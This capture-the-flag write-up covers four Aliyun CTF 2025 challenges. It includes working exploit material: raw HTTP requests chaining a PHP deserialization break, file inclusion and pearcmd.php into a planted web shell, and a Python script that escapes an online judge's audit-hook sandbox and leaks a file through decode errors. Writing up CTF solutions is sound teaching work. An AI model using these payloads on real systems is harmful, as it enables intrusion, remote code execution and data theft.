# Aliyun CTF 2025 Writeups [TOC] ## LinearCasino The challenge requires us to distinguish between $A * B_0 * C$ and $A * B_1 * C$, where $A \in \mathbb{F}_2^{110 \times 110}$, $D_1 \in \mathbb{F}_2^{60 \times 100}$, $D_2 \in \mathbb{F}_2^{50 \times 100}$, $B_0$ is a random matrix in $\mathbb{F}_2^{110 \times 200}$ and $C$ is a permutation matrix. $$ \displaylines{ \begin{align} B_1 = \left( \begin{array}{cc} D_1 & D_1 \\ 0 & D_2 \end{array} \right) \end{align} \\ O = A * B_1 * C \\ OO^T = (AB_1C)(C^TB_1^TA^T) = AB_1B_1^TA^T } $$ We have $CC^T$ cancels out since the inverse of a permutation matrix is its inverse. $$ \begin{align} B_1^T = \left( \begin{array}{cc} D_1^T & 0 \\ D_1^T & D_2^T \end{array} \right) \\ B_1B_1^T = \left( \begin{array}{cc} 0 & D_1D_2^T \\ D_2D_1^T & D_2D_2^T \end{array} \right) \end{align} $$ Since $D_1D_2^T$ and $D_2D_1^T$ has maximum rank of 50 $\Rightarrow B_1B_1^T$ has a maximum rank of 100 $\Rightarrow$ $OO_T$ has a maximum rank of 100. Therefore, we connect to server, recover $O$ and check if rank of $OO_T \leq 100$. ```python from pwnlib.tubes.remote import remote from pwnlib.tubes.process import process from sage.all import * io = process(["sage", "task.sage"]) K = GF(2) io.recvline() for i in range(100): print(f'{i = }') output = int(io.recvline().strip().decode()[2:]) output = bin(output)[2:].zfill(110 * 200) output = list(map(int, list(output))) # print(len(output)) ct = matrix(K, 110, 200, output) ct = ct * ct.T if ct.rank() <= 100: io.sendlineafter(b' ', b'1') else: io.sendlineafter(b' ', b'0') io.interactive() ``` ## check-in-ok The challenge give us a website with a login page. We used dirsearch to find the hidden directories and files. We found out that if we add `~` to the end of the url, we can leak the source code of the website and we also found `adminer_481.php` which is a database management tool. We can use this to create account and login After that, we found out that we can break the serialization of the data and we can achieve LFI. We can use this to include `pearcmd.php` to get RCE. The payload would be like this: ``` POST /index.php?debug_buka=.......";\s:10:"\b\a\c\k\g\r\o\u\n\d";\s:34:"../../../\u\s\r/\l\o\c\a\l/\l\i\b/\p\h\p/\p\e\a\r\c\m\d";\s:1:"\a";\s:1:"\a";} HTTP/1.1 Host: 121.41.238.106:12359 Content-Length: 75 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=j6ab3imi08t62paieat8qudeta; adminer_version=4.16.0 Connection: keep-alive username=ac065740bfb1a2339fecfec667c33de6&reason=<?php exit;//<?php exit;// ``` After that, we include `pearcmd.php` and create a shell. ``` GET /index.php?+config-create+/&check=yuu&/<?=system($_GET["c"]);?>+/var/www/html/shell.php HTTP/1.1 Host: 121.41.238.106:12359 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://121.41.238.106:17832 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://121.41.238.106:17832/index.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=j6ab3imi08t62paieat8qudeta; adminer_version=4.16.0 Connection: keep-alive ``` Then we can get the flag by executing `cat /Ali_t1hs_1sflag_2025` (the flag is in the file `Ali_t1hs_1sflag_2025` in the root directory) ``` GET /shell.php?c=cat+/Ali_t1hs_1sflag_2025 HTTP/1.1 Host: 121.41.238.106:12359 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://121.41.238.106:17832 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://121.41.238.106:17832/index.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=j6ab3imi08t62paieat8qudeta; adminer_version=4.16.0 Connection: keep-alive ``` ![image](https://hackmd.io/_uploads/HyLLiohckg.png) ## easy cuda rev We're given a binary and the description hints towards the bulk of the challenge being cuda bytecode. In the binary, we can see a section named `.nv_fatbin`, and digging through it we can see fragments of text that look like PTX bytecode. Doing a bit of research online, I found out that this is quite common with these cuda compiled binaries and NVIDIA has made many [tools](https://docs.nvidia.com/cuda/cuda-binary-utilities/index.html) to extract the data from these binaries. To extract the PTX, I ran `cuobjdump --dump-ptx ./easy_cuda` and that gave a much clearer picture of what was going on (kind of). Running the program, we can see that it'll give us "gifts" of the current state of the transformations before outputting the encrypted data to `enc_flag` ``` ./easy_cuda len: 256 gift1: <long list of bytes> gift2: <long list of bytes> gift3: <long list of bytes> gift4: <long list of bytes> gift5: <long list of bytes> ``` And we can see where each of these gifts gets printed in the PTX bytecode because the strings are defined as global literals. So we can reverse the process to get from the starting point to gift1, gift1 to gift2, gift2 to gift3, etc. After recreating the program logic, all we had to do at that point was to perform each of the steps in reverse to output the decrypted data which ended up being a PNG of the flag. (There's 662 steps in the final decryption, so it takes a bit to run) ```c= #include <stdio.h> #include <stdint.h> #include <stdlib.h> #define BLOCK_SIZE 256 #define NUM_ITERATIONS 10485760 void dec1(uint8_t* buf) { for (int i = 0; i < BLOCK_SIZE; ++i) { buf[i] ^= i; } } // claude my beloved void dec_tea(uint32_t* pv0, uint32_t* pv1) { uint32_t v0 = *pv0; uint32_t v1 = *pv1; // Start with the final key values uint32_t k0 = 0x55bcdc8; uint32_t k1 = 0x2ab5609d; uint32_t k2 = 0x8c7de6e4; uint32_t k3 = 0xee466d2b; uint32_t k4 = 0x500ef372; uint32_t k5 = 0xb1d779b9; // Constants const uint32_t CONST_LEFT_ADD = 0x3c6ef372; // Used with left shifts and adds const uint32_t CONST_LEFT_SUB = 0x5cbece94; // Used with left shifts and subs const uint32_t CONST_RIGHT_SUB = 0x37fec15c; // Used with right shifts and subs const uint32_t CONST_RIGHT_ADD = 0x14292967; // Used with right shifts and adds const uint32_t KEY_DELTA = 0xe443238; // Key schedule value const uint32_t K0_SPECIAL_ADD = 0x61c88647; // Special k0 addition uint32_t i = 0; while (i < NUM_ITERATIONS) { // Update keys first (reverse of final encryption step) k0 += KEY_DELTA; k1 += KEY_DELTA; k2 += KEY_DELTA; k3 += KEY_DELTA; k4 += KEY_DELTA; k5 += KEY_DELTA; // Start with k0's final round uint32_t tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^ ((v0 >> 0x5) + CONST_RIGHT_ADD) ^ (v0 + k0); uint32_t new_v1 = v1 - tmp; tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^ ((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k0 + new_v1); uint32_t new_v0 = v0 - tmp; // k0 + K0_SPECIAL_ADD round uint32_t k0_plus = k0 + K0_SPECIAL_ADD; tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^ ((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^ (new_v0 + k0_plus); v1 = new_v1 - tmp; tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^ ((v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k0_plus + v1); v0 = new_v0 - tmp; // k0 - CONST_LEFT_ADD round uint32_t k0_mod = k0 - CONST_LEFT_ADD; tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^ ((v0 >> 0x5) + CONST_RIGHT_ADD) ^ (v0 + k0_mod); new_v1 = v1 - tmp; tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^ ((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k0_mod + new_v1); new_v0 = v0 - tmp; // k1 round tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^ ((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^ (new_v0 + k1); v1 = new_v1 - tmp; tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^ ((v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k1 + v1); v0 = new_v0 - tmp; // k2 round tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^ ((v0 >> 0x5) + CONST_RIGHT_ADD) ^ (v0 + k2); new_v1 = v1 - tmp; tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^ ((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k2 + new_v1); new_v0 = v0 - tmp; // k3 round tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^ ((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^ (new_v0 + k3); v1 = new_v1 - tmp; tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^ ((v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k3 + v1); v0 = new_v0 - tmp; // k4 round tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^ ((v0 >> 0x5) + CONST_RIGHT_ADD) ^ (v0 + k4); new_v1 = v1 - tmp; tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^ ((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k4 + new_v1); new_v0 = v0 - tmp; // k5 round tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^ ((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^ (new_v0 + k5); v1 = new_v1 - tmp; tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^ ((v1 >> 0x5) - CONST_RIGHT_SUB) ^ (k5 + v1); v0 = new_v0 - tmp; i += 0x8; } *pv0 = v0; *pv1 = v1; } void dec2(uint8_t* buf) { for (int i = 0; i < BLOCK_SIZE; i += 8) { uint32_t* ptr = (uint32_t*)(buf+i); dec_tea(&ptr[0], &ptr[1]); } } void dec3(uint8_t* buf) { for (int i = BLOCK_SIZE - 1; i >= 0; --i) { if (i >= 1 && (i & 1) == 1) { int other = (i + 1) % BLOCK_SIZE; unsigned char temp = buf[i]; buf[i] = buf[other]; buf[other] = temp; } } } void dec4(uint8_t* buf) { for (int i = BLOCK_SIZE - 2; i >= 0; i -= 2) { int other = (i + 1) % BLOCK_SIZE; unsigned char temp = buf[i]; buf[i] = buf[other]; buf[other] = temp; } } void dec5(uint8_t* buf) { for (int i = BLOCK_SIZE - 1; i >= 0; --i) { unsigned char a = buf[i]; unsigned char b = buf[(i + 1) % BLOCK_SIZE]; buf[i] = a ^ b ^ 0xAC; // 0xAC is the key } } void dec6(uint8_t* buf) { const unsigned char LUT[256] = {0x3E, 0xA8, 0xB8, 0x66, 0xCC, 0x24, 0xDE, 0x3B, 0x72, 0xDF, 0xF1, 0xD3, 0x9E, 0xBB, 0xEA, 0x10, 0x59, 0x83, 0x1E, 0xE6, 0x58, 0x26, 0xD8, 0xA3, 0xB5, 0x44, 0x42, 0xF6, 0xD2, 0xE3, 0x7C, 0x6E, 0x91, 0x40, 0x22, 0x9D, 0x4E, 0x9F, 0x1B, 0xC8, 0x7B, 0x17, 0xF3, 0x03, 0xF0, 0xA4, 0xB3, 0xAD, 0x0F, 0x96, 0xAE, 0xEF, 0x2E, 0x52, 0x16, 0x47, 0x13, 0x20, 0xE5, 0x79, 0xDC, 0x92, 0x3A, 0xFD, 0xFC, 0x4B, 0x50, 0x2F, 0xB9, 0xCF, 0x15, 0x98, 0xF8, 0xBA, 0x01, 0x7D, 0x6F, 0x8F, 0x39, 0xD0, 0x7F, 0x99, 0xFE, 0x77, 0x81, 0x48, 0xD9, 0x11, 0xA0, 0x89, 0xE7, 0xDD, 0x04, 0x43, 0xA2, 0x4D, 0x08, 0x5F, 0x71, 0x09, 0xD1, 0x02, 0xF4, 0xAB, 0x8E, 0xA5, 0x07, 0x3F, 0x6C, 0x4F, 0x27, 0xE0, 0x1F, 0xBD, 0x23, 0xC4, 0x1C, 0x0E, 0x80, 0x65, 0x74, 0xEB, 0x54, 0x64, 0xFB, 0xD4, 0x2D, 0x56, 0xC0, 0xC6, 0xEE, 0xEC, 0x55, 0x87, 0x9C, 0x5A, 0xB4, 0xB7, 0x67, 0x90, 0x82, 0x6A, 0xA7, 0x29, 0x06, 0xE8, 0x88, 0x2A, 0x94, 0x35, 0x6B, 0x0D, 0x0C, 0xC9, 0xDA, 0x2C, 0x5C, 0xC3, 0x21, 0xBC, 0x41, 0x25, 0x97, 0xBE, 0x62, 0x73, 0x8C, 0xD6, 0x05, 0xBF, 0xAA, 0xE9, 0xF7, 0x93, 0x3C, 0x78, 0xC2, 0x4A, 0xB2, 0x12, 0xA1, 0x75, 0xF2, 0xE1, 0xD5, 0x30, 0x3D, 0x9B, 0x53, 0xCE, 0x60, 0x8B, 0x8D, 0xA9, 0x36, 0x9A, 0x19, 0xB0, 0xFF, 0xB6, 0xF5, 0x57, 0xB1, 0xC7, 0x38, 0x61, 0x85, 0xE2, 0xCA, 0x34, 0x33, 0xDB, 0x32, 0x7E, 0x2B, 0x7A, 0xFA, 0x69, 0xED, 0x1A, 0xCD, 0x70, 0x63, 0x86, 0x84, 0x0B, 0x00, 0x5E, 0x76, 0xAF, 0x45, 0x46, 0xCB, 0x68, 0x49, 0x14, 0x5B, 0xF9, 0xE4, 0x4C, 0xC1, 0x95, 0x31, 0xD7, 0x51, 0x0A, 0xC5, 0x28, 0x37, 0x5D, 0xAC, 0x18, 0x1D, 0x8A, 0x6D, 0xA6}; for (int i = BLOCK_SIZE - 1; i >= 0; --i) { unsigned char val = buf[i]; val = LUT[val]; val = ((val >> 4) | (val << 4)); val ^= (i * 73 + 0xAC); // 0xAC is the key buf[i] = val; } } void print_hex(uint8_t* buf, uint32_t size) { for (uint32_t i = 0; i < size; ++i) { printf("%02X ", buf[i]); } printf("\n"); } int main() { FILE* fp = fopen("easy-cuda/public/flag_enc.orig", "r"); if (!fp) { perror("fopen"); return 1; } FILE* fp_flag = fopen("flag.bin", "w"); if (!fp_flag) { perror("fopen flag"); return 1; } const int SIZE = 0x29600; uint8_t* buf = malloc(SIZE); fread(buf, 1, SIZE, fp); for (int i = 0; i < SIZE; i += BLOCK_SIZE) { printf("%d\n", i / BLOCK_SIZE); uint8_t* cur = buf + i; dec1(cur); dec2(cur); dec3(cur); dec4(cur); dec5(cur); dec6(cur); fwrite(cur, 1, BLOCK_SIZE, fp_flag); } fclose(fp); fclose(fp_flag); } ``` ## ezos We're given a pretty simple looking web server that looks to be some sort of leetcode clone where you're given a prompt and have to write code to solve the prompt. Visiting `/source` we can get the contents of `server.py` ```python= import os import subprocess import uuid import json from flask import Flask, request, jsonify, send_file from pathlib import Path app = Flask(__name__) SUBMISSIONS_PATH = Path("./submissions") PROBLEMS_PATH = Path("./problems") SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True) CODE_TEMPLATE = """ import sys import math import collections import queue import heapq import bisect def audit_checker(event,args): if not event in ["import","time.sleep","builtins.input","builtins.input/result"]: raise RuntimeError sys.addaudithook(audit_checker) """ class OJTimeLimitExceed(Exception): pass class OJRuntimeError(Exception): pass @app.route("/") def index(): return send_file("static/index.html") @app.route("/source") def source(): return send_file("server.py") @app.route("/api/problems") def list_problems(): problems_dir = PROBLEMS_PATH problems = [] for problem in problems_dir.iterdir(): problem_config_file = problem / "problem.json" if not problem_config_file.exists(): continue problem_config = json.load(problem_config_file.open("r")) problem = { "problem_id": problem.name, "name": problem_config["name"], "description": problem_config["description"], } problems.append(problem) problems = sorted(problems, key=lambda x: x["problem_id"]) problems = {"problems": problems} return jsonify(problems), 200 @app.route("/api/submit", methods=["POST"]) def submit_code(): try: data = request.get_json() code = data.get("code") problem_id = data.get("problem_id") if code is None or problem_id is None: return ( jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}), 400, ) problem_id = str(int(problem_id)) problem_dir = PROBLEMS_PATH / problem_id if not problem_dir.exists(): return ( jsonify( {"status": "ER", "message": f"Problem ID {problem_id} not found!"} ), 404, ) code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py" with open(code_filename, "w") as code_file: code = CODE_TEMPLATE + code code_file.write(code) result = judge(code_filename, problem_dir) code_filename.unlink() return jsonify(result) except Exception as e: return jsonify({"status": "ER", "message": str(e)}), 500 def judge(code_filename, problem_dir): test_files = sorted(problem_dir.glob("*.input")) total_tests = len(test_files) passed_tests = 0 try: for test_file in test_files: input_file = test_file expected_output_file = problem_dir / f"{test_file.stem}.output" if not expected_output_file.exists(): continue case_passed = run_code(code_filename, input_file, expected_output_file) if case_passed: passed_tests += 1 if passed_tests == total_tests: return {"status": "AC", "message": f"Accepted"} else: return { "status": "WA", "message": f"Wrang Answer: pass({passed_tests}/{total_tests})", } except OJRuntimeError as e: return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"} except OJTimeLimitExceed: return {"status": "TLE", "message": "Time Limit Exceed"} def run_code(code_filename, input_file, expected_output_file): with open(input_file, "r") as infile, open( expected_output_file, "r" ) as expected_output: expected_output_content = expected_output.read().strip() process = subprocess.Popen( ["python3", code_filename], stdin=infile, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) try: stdout, stderr = process.communicate(timeout=5) except subprocess.TimeoutExpired: process.kill() raise OJTimeLimitExceed if process.returncode != 0: raise OJRuntimeError(process.returncode) if stdout.strip() == expected_output_content: return True else: return False if __name__ == "__main__": app.run(host="0.0.0.0", port=5000) ``` So we can see that when we upload our code, it gives us some convenient imports to use but then places an audit hook to try to prevent any unsafe code from running, but you'll notice that `import` is allowed which makes bypassing this very easy. The simplest way to bypass this is to import the `_testcapi` module which gives us the `run_in_subinterp` function that can run any code we want it to in a seperate interpreter context which doesn't have any audit hooks. But now, we had to find out how to exfil data since this runs in `subprocess.Popen` and it looks like any output is discarded after checking for the correct output. What we did to get around this is abuse utf-8 decoding. Since `text=True` is set when running the program, that means that the contents of stdout will be utf-8 decoded when running `process.communicate()`, but if it can't decode it, the error message will tell us the byte that it can't decode and the server will return to us that error message. To abuse this, we can take the char we want to leak, add 0x80 to it, write it to stdout, then in our exploit script extract that value and subtract that 0x80 to recover the original character. In the end, we came up with this solve script to run shell commands and leak the result 1 byte at a time. First we started with `os.listdir('/')` to leak the flag name, and then the following script to leak the flag: exploit.py ```python= import requests import re URL = "http://121.41.238.106:18875" with open("solve.py", "r") as f: code = f.read() leak = "" i = 0 while True: fixed_code = code.replace("IDX=0", f"IDX={i}") payload = { "problem_id": "0", "code": fixed_code } r = requests.post(URL + "/api/submit", json=payload) if r.status_code != 500: break # print(r.status_code) msg = r.json()['message'] # print(msg) m = re.search(r"decode byte (0x[a-f\d]+) in position", msg) if m: leak += chr(int(m.group(1), 16) - 0x80) print(f"{leak = }") else: print("done?") break i += 1 ``` solve.py ```python= import _testcapi _testcapi.run_in_subinterp("""\ import os, sys IDX=0 obj = open("/flag-78945274-15ec-47c4-993e-b33f7ad59817", "r").read() try: sys.stdout.buffer.write(bytes([ord(obj[IDX])+0x80])) except IndexError: pass """) a = input() print(sum([int(x) for x in a.split(" ")])) ```